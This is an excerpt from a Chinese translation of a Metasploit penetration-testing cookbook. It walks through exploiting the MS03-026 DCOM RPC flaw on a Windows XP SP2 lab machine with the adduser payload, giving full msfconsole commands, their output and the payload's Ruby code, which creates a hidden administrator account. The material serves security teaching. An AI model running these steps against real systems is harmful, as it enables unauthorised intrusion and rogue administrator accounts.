《Metasploit滲透測試手冊》—第3章3.3節在WindowsXPSP2上進行滲透測試8.7使用Metasploit進行模糊測試

非同步社群發表於2017-05-02

本節書摘來自非同步社群《Metasploit滲透測試手冊》一書中的第3章3.3節 在Windows XP SP2上進行滲透測試8.7 使用Metasploit進行模糊測試,作者【印度】Abhinav Singh,更多章節內容可以訪問雲棲社群“非同步社群”公眾號檢視。

3.3 在Windows XP SP2上進行滲透測試8.7 使用Metasploit進行模糊測試
Metasploit滲透測試手冊
本節中我們將介紹如何使用Metasploit攻陷執行著Windows XP作業系統的目標機器,其中需要使用前面章節中講到的一些命令,進一步選擇漏洞利用程式碼和攻擊載荷,並設定各種必需的引數。

準備
首先在msfconsole中進行滲透測試過程。啟動控制檯,掃描埠蒐集目標機器的資訊,前面已經詳細討論過埠掃描的相關內容,這裡假設已蒐集到目標機器的資訊,並確定其執行的是Windows XP作業系統,接下來選擇漏洞利用程式碼和攻擊載荷。

怎樣實現
若要在Windows XP SP2上進行滲透測試,需遵循如下步驟。

(1)主要目標是選擇可用於Windows XP的漏洞利用程式碼,使用者可以瀏覽/exploits/ window目錄,或簡單地搜尋有哪些可用於Windows XP的漏洞利用程式碼。我們將使用RPC dcom漏洞對目標進行滲透,所以先對RPC dcom漏洞進行搜尋,可使用如下命令。

msf  exploit(ms03_026_dcom) > search dcom
Matching Modules
================
  Name                   Disclosure Date   Rank  Description
  ----                   --------------    ---   -----------  
  exploit/windowsdcerpc/ms03_026_dcom    2003-07-16    great  Microsoft RPC 
xploit/windows/driver/broadcom_wifi_ssid  2006-11-11    low    Broadcom Wireless 
xploit/windows/smb/ms04_031_netdde     2004-10-12    good   Microsoft NetDDE

從結果可以看到,共搜尋到3個相關的結果。選擇使用第一個,因為該漏洞利用程式碼的評級為great,預示著使用該漏洞利用程式碼成功的機率更大。

(2)為將exploit/windows/dcerpc/ms03_026_dcom設定為可用的漏洞利用程式碼,可執行如下命令。

msf  exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom 
msf  exploit(ms03_026_dcom) >

命令列提示符的改變表明該命令已經執行成功。

(3)下一步為該漏洞利用程式碼設定必要的引數,show options命令可以列出該漏洞利用程式碼的可用引數,之後使用set命令即可對引數進行設定,其中一些引數會有預設值。

msf  exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                      yes        The target address
   RPORT  135                yes        The target port
Exploit target:
   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal

這裡,RHOST用於指定遠端目標主機的IP地址,RPORT用於指定預設的繫結埠。預設情況下,RPORT的值設定為135埠,我們需要將RHOST設定為實際的目標主機IP地址。

msf  exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf  exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用程式碼的ID設定為0,這意味著不需要指定目標上執行的具體Windows型別,本漏洞利用程式碼適用於該專案列出的所有Windows版本。其他的漏洞利用程式碼一般都需要使用show targets命令來選擇目標作業系統。
目前,RHOST的值已經被設定為目標IP地址,如果此時執行漏洞利用程式碼,會產生錯誤訊息,因為還沒有為該漏洞利用程式碼選擇攻擊載荷。

(4)下一步選擇合適的攻擊載荷,可以使用命令show payloads列出所有可用的攻擊載荷。這裡選擇使用簡單的windows/adduser攻擊載荷,其功能是在目標機器作業系統中新增新使用者。

msf  exploit(ms03_026_dcom) > set PAYLOAD windows/adduser 
PAYLOAD => windows/adduser

(5)再次執行show options命令,將列出漏洞利用程式碼與攻擊載荷的所有引數。攻擊載荷引數形式如下所示。

Payload options (windows/adduser):
   Name      Current Setting  Required       Description
   ----      ---------------  --------       -----------
   EXITFUNC  thread          yes        seh, thread, process, 
none
   PASS      metasploit      yes        password for this user
   USER      metasploit       yes        The username to create

從結果可以看到,新增到目標作業系統中的預設使用者名稱和口令都是metasploit,如果要更改這些值,可以使用set PASS命令和set USER命令。

(6)攻擊載荷已經設定完成,下面可以對目標機器進行滲透,使用下面的命令執行該漏洞利用程式碼。

msf  exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

最後一行輸出表明,漏洞利用程式碼在目標機器上已經成功執行完畢,並在其上新增了新使用者。還可以看出,並沒有建立新的會話,這是因為選用的攻擊載荷是一個簡單的adduser,該攻擊載荷不需要活躍會話,因此,該漏洞利用程式碼執行後,與目標機器的連線即告終止。下一節將介紹如何使用攻擊載荷建立會話。

怎樣工作
在處理TCP/IP訊息交換的RPC協議中存在漏洞,漏洞的成因是對畸形訊息的處理存在錯誤,該漏洞影響分散式元件物件模型(DCOM)介面(該介面在啟用了RPC的埠上進行監聽),所以,需要在目標機器上存在執行RPC服務的可用埠。

該介面用於處理客戶端向伺服器傳送的DCOM物件啟用請求,成功利用該漏洞後,攻擊者可在受影響系統上以本地系統許可權執行任意程式碼,並在目標機器上執行某些操作,例如安裝程式、檢視/修改/刪除資料,或建立高許可權的使用者賬號。

要了解該漏洞的更多細節,可以參考如下的微軟安全公告連結。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

為了理解adduser攻擊載荷的工作機理,需要對該載荷的ruby程式碼進行分析,並找到如下位置。

root@bt:~#  cd  /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# 
less adduser.rb
觀察下面的程式碼。

# Register command execution options
        register_options(

            [
                OptString.new(`USER`, [ true, "The 
username to create", "metasploit" ]),
                OptString.new(`PASS`, [ true, "The 
password for this user", "metasploit" ]),
            ], self.class)
          # Hide the CMD option
          deregister_options(`CMD`)
    end
    #
    # Override the exec command string
    #
    def command_string
         user = datastore[`USER`] || `metasploit`
         pass = datastore[`PASS`] || ``

         if(pass.length > 14)
              raise ArgumentError, "Password for the adduser 
payload must be 14 characters or less"
         end

         return "cmd.exe /c net user #{user} #{pass} /ADD && " 
+
              "net localgroup Administrators #{user} /ADD"
    end

讀者可以通過閱讀#符號註釋後面的介紹以理解程式碼的功能,上面的程式碼是簡單。首先為使用者名稱和口令註冊相應值,然後隱藏CMD函式,以便在攻擊載荷執行時不會出現在螢幕上,之後覆蓋windows/exec載荷,傳遞引數值,並啟動隱祕的命令提示符在後臺執行相應命令。

讀者可以根據需要對這段程式碼進行修改,這將有助於對攻擊載荷的深入理解。

本文僅用於學習和交流目的,不代表非同步社群觀點。非商業轉載請註明作譯者、出處,並保留本文的原始連結。


相關文章